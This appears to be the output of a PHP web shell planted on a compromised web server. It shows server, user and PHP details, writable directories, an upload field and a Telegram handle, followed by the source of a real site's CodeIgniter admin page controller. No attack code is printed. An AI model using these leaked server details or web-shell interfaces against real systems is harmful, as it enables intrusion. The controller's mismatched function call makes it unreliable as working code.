https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/iatax.com.au/public_html/application/controllers/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/iatax.com.au/public_html/application/controllers/admin/Pages.php
<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');

class Pages extends Admin_Controller {
	//this property is used for validating existing page title on call back edit page
	private $page_current_id = NULL; 
		
	function __construct() {
		parent::__construct();	
		$this->load->model('page_m');   
	} 
		
	//this is to list all pages
	public function index() {
		
		//pagination in action. 20 results per page
		$this->load->library('pagination');
		$config['base_url'] = base_url() . 'admin/pages/index';
		$config['per_page'] = 20;
		$config["uri_segment"] = 4; 

		//fetch all pages
		$config['total_rows'] = $this->page_m->record_count();  
		$this->pagination->initialize($config);
   		$this->data['pages'] = $this->page_m->get_all_pages($config["per_page"], 
		$this->uri->segment(4)); 

		//get parent pages only
		$this->data['parent_pages'] = $this->page_m->get_all_parent_pages($config["per_page"], $this->uri->segment($config['uri_segment'])); 
	
		//load view
		$this->data['subview'] = 'admin/pages/index';
		$this->load->view('admin/templates/header', $this->data_header); 
		$this->load->view('admin/_layout_main', $this->data);
		$this->load->view('admin/templates/footer');		
  }
	
	//to add a new page 
	public function add() {
	
		$this->data['pages'] = $this->page_m->get_new();

		//get ordering number and display at add form 
		$this->db->select_max('priority')->from('pages');
		$current_priority = $this->db->get()->row()->priority;
		if($current_priority == NULL) {
			$this->data['pages']->priority = 1;	
		} else {
			$this->data['pages']->priority = $current_priority + 1;
		} 
		
		//validation in action
		//validation check in action
		$config = $this->page_m->rules;

		$this->load->library('form_validation'); 
		$this->form_validation->set_rules($config); 
		$this->form_validation->set_error_delimiters('<div class="error">', '</div>');

		if($this->form_validation->run($this) == TRUE) {

			$image_filename = $this->image_processing($_FILES['userfile']['size']);
			
			$data = $this->table_data_processing(
				$this->input->post('page_title'), 
				$this->input->post('page_title_en'),  
				$this->input->post('status'), 
				$this->input->post('body_text'), 
				$this->input->post('body_text_en'),
				$image_filename, 
				$this->input->post('meta_description')
			);

			$this->page_m->add_page($data);

			$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Page Add Successful</p>');

			redirect('admin/pages');
			
		} 
		
		$this->data['subview'] = 'admin/pages/edit';
		$this->load->view('admin/templates/header', $this->data_header); 
		$this->load->view('admin/_layout_main', $this->data);
		$this->load->view('admin/templates/footer');	
	}
	
	//to edit page in admin
	public function edit($id = NULL) {

		//check if id exist. If not exist, show 404.
		$count = $this->page_m->count_exist($id);
		
		if ($count == 0) {
			//page not exist
			show_404();
		}		

		$this->data['pages'] = $this->page_m->get($id);
		$this->page_current_id = (int) $id;	
		
		//validation check in action 
		$config = $this->page_m->rules;

		$this->load->library('form_validation');
		$this->form_validation->set_rules($config); 
		$this->form_validation->set_error_delimiters('<div class="error">', '</div>');

		if($this->form_validation->run($this) == TRUE) {
			
			//check & processing page image banner upload files	
			if ($_FILES['image1']['size'] !== 0) {  	
				$config['upload_path'] = './uploads/page/'; 
				$config['allowed_types'] = 'jpg|jpeg|png'; 
				$config['max_size']	= '600';
				// $config['max_width']  = '1920';
				// $config['max_height']  = '524';
				
				$this->load->library('upload', $config); 
				$this->upload->initialize($config);

				if ( ! $this->upload->do_upload('image1')) {
					//echo $this->upload->display_errors(); die();
					$this->session->set_flashdata('banner_error', '<br>
						<p style="background:orange; color:white; padding:5px; font-weight:bold;">Image Upload Error. Wrong format or size.</p>');

					if ($this->page_current_id != NULL) {
						redirect('admin/pages/edit/' . $this->page_current_id);
					} elseif($this->page_current_id == NULL) {
						redirect('admin/pages/add');
					}
				
				} else {
					$page_image = $this->upload->data();
					$page_image_filename = $page_image['file_name']; 	 
				}	
			} else {
				$page_image_filename = null;
			}

			//check & processing page image banner upload files	
			if (isset($_FILES['image2']) && $_FILES['image2']['size'] !== 0) {  	
				$config['upload_path'] = './uploads/page/'; 
				$config['allowed_types'] = 'jpg|jpeg|png'; 
				$config['max_size']	= '600';
				// $config['max_width']  = '640';
				// $config['max_height']  = '711';
				
				$this->load->library('upload', $config); 
				$this->upload->initialize($config);

				if ( ! $this->upload->do_upload('image2')) {
					//echo $this->upload->display_errors(); die();
					$this->session->set_flashdata('banner_error', '<br>
						<p style="background:orange; color:white; padding:5px; font-weight:bold;">Image Upload Error. Wrong format or size.</p>');

					if ($this->page_current_id != NULL) {
						redirect('admin/pages/edit/' . $this->page_current_id);
					} elseif($this->page_current_id == NULL) {
						redirect('admin/pages/add');
					}
				
				} else {
					$about_image = $this->upload->data();
					$about_image_filename = $about_image['file_name']; 	 
				}	
			} else {
				$about_image_filename = null;
			}

			//check & processing icon1 upload files	
			if (isset($_FILES['icon1']) && $_FILES['icon1']['size'] !== 0) {  	
				$config['upload_path'] = './uploads/page/'; 
				$config['allowed_types'] = 'jpg|jpeg|png'; 
				$config['max_size']	= '600';
				// $config['max_width']  = '206';
				// $config['max_height']  = '206';
				
				$this->load->library('upload', $config); 
				$this->upload->initialize($config);

				if ( ! $this->upload->do_upload('icon1')) {
					//echo $this->upload->display_errors(); die();
					$this->session->set_flashdata('banner_error', '<br>
						<p style="background:orange; color:white; padding:5px; font-weight:bold;">Image Upload Error. Wrong format or size.</p>');

					if ($this->page_current_id != NULL) {
						redirect('admin/pages/edit/' . $this->page_current_id);
					} elseif($this->page_current_id == NULL) {
						redirect('admin/pages/add');
					}
				} else {
					$icon1 = $this->upload->data();
					$icon1_filename = $icon1['file_name']; 	 
				}	
			} else {
				$icon1_filename = null;
			}

			//check & processing icon2 upload files	
			if (isset($_FILES['icon2']) && $_FILES['icon2']['size'] !== 0) {  	
				$config['upload_path'] = './uploads/page/'; 
				$config['allowed_types'] = 'jpg|jpeg|png'; 
				$config['max_size']	= '600';
				// $config['max_width']  = '206';
				// $config['max_height']  = '206';
				
				$this->load->library('upload', $config); 
				$this->upload->initialize($config);

				if ( ! $this->upload->do_upload('icon2')) {
					//echo $this->upload->display_errors(); die();
					$this->session->set_flashdata('banner_error', '<br>
						<p style="background:orange; color:white; padding:5px; font-weight:bold;">Image Upload Error. Wrong format or size.</p>');

					if ($this->page_current_id != NULL) {
						redirect('admin/pages/edit/' . $this->page_current_id);
					} elseif($this->page_current_id == NULL) {
						redirect('admin/pages/add');
					}
				} else {
					$icon2 = $this->upload->data();
					$icon2_filename = $icon2['file_name']; 	 
				}	
			} else {
				$icon2_filename = null;
			}

			//check & processing icon3 upload files	
			if (isset($_FILES['icon3']) && $_FILES['icon3']['size'] !== 0) {  	
				$config['upload_path'] = './uploads/page/'; 
				$config['allowed_types'] = 'jpg|jpeg|png'; 
				$config['max_size']	= '600';
				// $config['max_width']  = '206';
				// $config['max_height']  = '206';
				
				$this->load->library('upload', $config); 
				$this->upload->initialize($config);

				if ( ! $this->upload->do_upload('icon3')) {
					//echo $this->upload->display_errors(); die();
					$this->session->set_flashdata('banner_error', '<br>
						<p style="background:orange; color:white; padding:5px; font-weight:bold;">Image Upload Error. Wrong format or size.</p>');

					if ($this->page_current_id != NULL) {
						redirect('admin/pages/edit/' . $this->page_current_id);
					} elseif($this->page_current_id == NULL) {
						redirect('admin/pages/add');
					}
				} else {
					$icon3 = $this->upload->data();
					$icon3_filename = $icon3['file_name']; 	 
				}	
			} else {
				$icon3_filename = null;
			}
			
			$data = $this->table_data_processing(
				$this->input->post('page_title'), 
				$this->input->post('page_title_en'), 
				$this->input->post('status'), 
				$this->input->post('body_text'), 
				$this->input->post('body_text_en'), 
				$page_image_filename,
				$about_image_filename,
				$icon1_filename,
				$icon2_filename,
				$icon3_filename,
				$this->input->post('meta_description')
			);

			$this->page_m->edit_page($id, $data); 

			$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Page Edit Successful</p>');
			
			redirect('admin/pages/edit/' . $id);
		} 
		
		$this->data['subview'] = 'admin/pages/edit';
		$this->load->view('admin/templates/header', $this->data_header); 
		$this->load->view('admin/_layout_main', $this->data);
		$this->load->view('admin/templates/footer');	
	}
	
	
	//to delete a page
	public function delete($id) {
		//check if id exist. If not exist, show 404.
		$count = $this->page_m->count_exist($id);
		if ($count == 0) {  
			//page not exist  
			show_404();
		}		
		
		//delete page
		$this->page_m->delete($id);

		$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Page Delete Successful</p>');
		redirect('admin/pages');
	}


	//callback function validation add new pages
	public function _cek_existing_page_title($str) {

		$num_rows = $this->page_m->cek_existing_page_title($str, $this->page_current_id);   
		if ($num_rows != 0 ) { 
			$this->form_validation->set_message('_cek_existing_page_title', 'Page title indonesian already exist !'); 
			return FALSE;
		} else {
			return TRUE;     
		}
	}

	//callback function validation add new pages
	public function _cek_existing_page_en_title($str) {

		$num_rows = $this->page_m->cek_existing_page_en_title($str, $this->page_current_id);   
		if ($num_rows != 0 ) { 
			$this->form_validation->set_message('_cek_existing_page_en_title', 'Page title english already exist !'); 
			return FALSE;
		} else {
			return TRUE;     
		}
	}

		private function table_data_processing($page_title, $page_title_en, $status, $body_text, $body_text_en, $image, $about_image, $icon1, $icon2, $icon3, $meta_description) {

		$data = array(
			'page_title' => $this->security->xss_clean($page_title),
			'page_title_en' => $this->security->xss_clean($page_title_en),
			'alias' => url_title($this->security->xss_clean($page_title)),
			'alias_en' => url_title($this->security->xss_clean($page_title_en)),
			'status' => $status,
			'body_text' => $this->security->xss_clean($body_text),
			'body_text_en' => $this->security->xss_clean($body_text_en),
			'meta_description' => $this->security->xss_clean($meta_description),
			'meta_keywords' => $this->security->xss_clean($this->input->post('meta_keywords')),
			'meta_title' => $this->security->xss_clean($this->input->post('meta_title'))
		);
		
		if($this->input->post('about_why')) {
			$data['about_why'] = $this->input->post('about_why');
		}

		if($this->input->post('about_why1')) {
			$data['about_why1'] = $this->input->post('about_why1');
		}
		if($this->input->post('about_why2')) {
			$data['about_why2'] = $this->input->post('about_why2');
		}
		if($this->input->post('about_why3')) {
			$data['about_why3'] = $this->input->post('about_why3');
		}

		if($this->input->post('about_why1sub')) {
			$data['about_why1sub'] = $this->input->post('about_why1sub');
		}
		if($this->input->post('about_why2sub')) {
			$data['about_why2sub'] = $this->input->post('about_why2sub');
		}
		if($this->input->post('about_why3sub')) {
			$data['about_why3sub'] = $this->input->post('about_why3sub');
		}
		if($this->input->post('about_why_content')) {
			$data['about_why_content'] = $this->input->post('about_why_content');
		}

		if($image != null){
			$data['image'] = $image;
		}

		if($about_image != null){
			$data['about_image'] = $about_image;
		}

		if($icon1 != null){
			$data['about_why1image'] = $icon1;
		}

		if($icon2 != null){
			$data['about_why2image'] = $icon2;
		}

		if($icon3 != null){
			$data['about_why3image'] = $icon3;
		}

		return $data;
	}

	//image upload processing
	private function image_processing($image_file_size) {

		//check & processing image banner upload files	
		if ($image_file_size !== 0) {  	

			$config['upload_path'] = './uploads/page/'; 
			$config['allowed_types'] = 'jpg|jpeg|png'; 
			$config['max_size']	= '600';
			// $config['max_width']  = '1920';
			// $config['max_height']  = '524';
			
			$this->load->library('upload', $config); 

			if ( ! $this->upload->do_upload('userfile')) {

        //echo $this->upload->display_errors(); die();
					
				$this->session->set_flashdata('banner_error', '<br>
					<p style="background:orange; color:white; padding:5px; font-weight:bold;">Image Upload Error. Wrong format or size.</p>');

				if ($this->page_current_id != NULL) {
					redirect('admin/pages/edit/' . $this->page_current_id);
				} elseif($this->page_current_id == NULL) {
					redirect('admin/pages/add');
				}
			
			} else {
				$image = $this->upload->data();
				$image_filename = $image['file_name']; 	 
				return $image_filename; 
			}	
		}
	}

	//To delete brand landingpage banner image file from server, and from database
	public function delete_landingpage_image($id) { 

		//get image file name for deletion
		$this->db->select('image')->from('pages')->where('id_pages', $id);
		$image = $this->db->get()->row()->image;

		//Delete the actual image file from server. FCPATH is codeigniter base path
		unlink(FCPATH .'/uploads/page/'. $image);

		//Delete image field from database
		$data = array( 
			'image' => '',
		);

		$this->db->where('id_pages', $id); 
		$this->db->update('pages', $data);	

		$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Image Delete Successful</p>');
		
		redirect('admin/pages/edit/'.$id); 
	}
}

https://t.me/RX1948 - 2025